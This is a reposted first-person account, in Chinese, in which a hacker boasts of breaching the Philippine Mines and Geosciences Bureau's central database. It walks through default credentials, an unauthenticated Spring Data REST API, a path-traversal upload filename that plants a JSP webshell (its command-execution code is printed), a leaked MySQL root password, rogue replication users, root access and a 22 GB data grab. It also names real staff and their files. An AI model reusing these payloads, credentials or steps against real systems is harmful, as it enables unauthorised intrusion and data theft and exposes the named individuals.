黑客Pieyaya说:“今天想聊聊我最近干的一票。目标是菲律宾 Mines and Geosciences Bureau(MGB),也就是他们的矿山与地球科学局,隶属于 DENR。整个过程从侦察到拿到 root,只花了大概一个小时。不是因为我多牛,而是他们的系统实在太“配合”了。”
![图片[1]李白你好-实战攻防黑客自述:一小时拿下菲律宾矿业和地球科学局 MGB 中央数据库:从 Spring Boot 老古董到 Root 全过程记录李白你好-实战攻防李白你好](https://www.libaisec.com/wp-content/uploads/2026/07/20260722095029343-图片.png)
侦察:Cloudflare 漏了一个
先对 xxx.gov.ph 做子域名枚举,从证书透明度日志里拉出来 46 个子域名。大部分都是死鱼——region1 到 region12 的 Azure App Services 返回 403,几个 AWS 实例超时,主站 xxx.gov.ph 藏在 Cloudflare JS 挑战后面。
但有一个子域名直接裸奔:xxxdatabase.mgb.gov.ph(解析到 xx.xx.141.100,GCP 上)。
打开一看:Apache 2.4.7 + Tomcat 7.0.52 + Spring Boot 1.x + MySQL 5.5.62。
系统信息更离谱:Ubuntu 14.04(2019 年就 EOL 了),内核 3.19.0-80-generic,2017 年 1 月编译的,从 2018 年起就没人碰过。
最妙的是,主站有 Cloudflare 保护,这个 centraldatabase 却完全裸露。我直接就冲进去了。
默认凭证:开发者留的后门
应用跑在 /mgb 上下文下面。
我先试了最蠢的 guest:guest,居然 200 了!返回的 JSON 里写着 "admin": false,但好歹是个合法用户。
然后我去翻源代码,发现到处都是 @Author Franklin Chua。心想这哥们儿大概率给自己留了后门,就试了 fchua:fchua。
一发入魂!
JSON 返回:
{"principal":{"id":2,"username":"fchua","name":"Franklin Chua","admin":true,"active":true}}
同一个开发者写了代码、部署了系统、还把自己的默认账号留在生产环境里。这波操作值得给个 raise!
![图片[2]李白你好-实战攻防黑客自述:一小时拿下菲律宾矿业和地球科学局 MGB 中央数据库:从 Spring Boot 老古董到 Root 全过程记录李白你好-实战攻防李白你好](https://www.libaisec.com/wp-content/uploads/2026/07/20260722095039898-图片.png)
Spring Data REST:零授权的狂欢
拿到 fchua 账号后,Spring Data REST 直接把所有实体暴露出来,几乎没有额外授权。
随便测了几条:
GET /mgb/api/users→ 80+ 个用户,包含全名、部门、邮箱、admin 标志GET /mgb/api/roles/search/findAll→ 角色权限映射GET /mgb/api/attachments→ 3500+ 条附件记录,每条都有downloadKey
我随便挑了一条 2026 年 7 月 6 日 Aaron Arcilla 上传的 CAR_MAP_JUN_2026.pdf(10MB),用 downloadKey 直接 GET 下来了。里面全是采矿申请、地图、财务计划之类的纳税人级敏感文件。
读权限到手,爽。
路径遍历 + 文件上传 = RCE
接下来看导入功能:POST /mgb/api/import/template/{module},用于管理员批量导入用户、矿山租约等。
这个端点把 file.getOriginalFilename() 直接拼接到 /mnt/data/import/ 路径下,没有任何 normalize、路径净化、检查。
我先用 ../../../../../var/www/html/shell.jsp 测试,权限不够(Tomcat 用户写不了那个目录)。
于是换成 Tomcat 自己的 webapps 目录:../../../../../var/lib/tomcat7/webapps/mgb/givemeashell.jsp
成功上传!
WebShell 内容很简单,就是个执行命令的 JSP:
<%@ page import="java.io.*" %>
<%
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", request.getParameter("c")});
// 读取输出...
%>
用 curl 访问确认,成功执行 id 和 hostname,拿到 Tomcat 用户权限(uid=108)。
Post-Exploitation:数据库与 Root
![图片[3]李白你好-实战攻防黑客自述:一小时拿下菲律宾矿业和地球科学局 MGB 中央数据库:从 Spring Boot 老古董到 Root 全过程记录李白你好-实战攻防李白你好](https://www.libaisec.com/wp-content/uploads/2026/07/20260722095050835-图片.png)
几分钟后,我把 application.properties 从磁盘拉下来,MySQL root 密码赫然写着 Password1234。
这个密码还在 Franklin Chua 的 bash 历史里重复出现。MySQL 3306 端口也对外开放,直接连上。
![图片[4]李白你好-实战攻防黑客自述:一小时拿下菲律宾矿业和地球科学局 MGB 中央数据库:从 Spring Boot 老古董到 Root 全过程记录李白你好-实战攻防李白你好](https://www.libaisec.com/wp-content/uploads/2026/07/20260722095102133-图片.png)
数据库做了主从复制(mgb-central → mgb-portal)。我用 binlog 把自己的 pieyaya 用户插进 master,slave 自动同步。
同样的路径遍历在从库也管用,我又扔了个 shell 上去,成功拿到 root(老内核,提权简单)。
最后打包 /mnt 下的数据:
root@mgb-central:/mnt# ls
data mgb.tar.gz
root@mgb-central:/mnt# du -h mgb.tar.gz
22G mgb.tar.gz
总结
整个过程就是:
- 默认凭证(fchua:fchua)
- Spring Data REST 无授权
- 文件上传路径遍历
- 老旧系统 + 弱密码 + 暴露服务
没有发一个恶意 payload,没有用什么 0day,就靠最基础的配置错误和开发者坏习惯,拿下了整个政府生产数据库和文件库。
开发者们,更新一下系统、删掉默认账号、给文件上传加个 normalize() 吧。
下次别再让一个 10 年前的 Spring Boot 应用在生产环境裸奔了。
—— Pieyaya / DeathNoteHackers



















暂无评论内容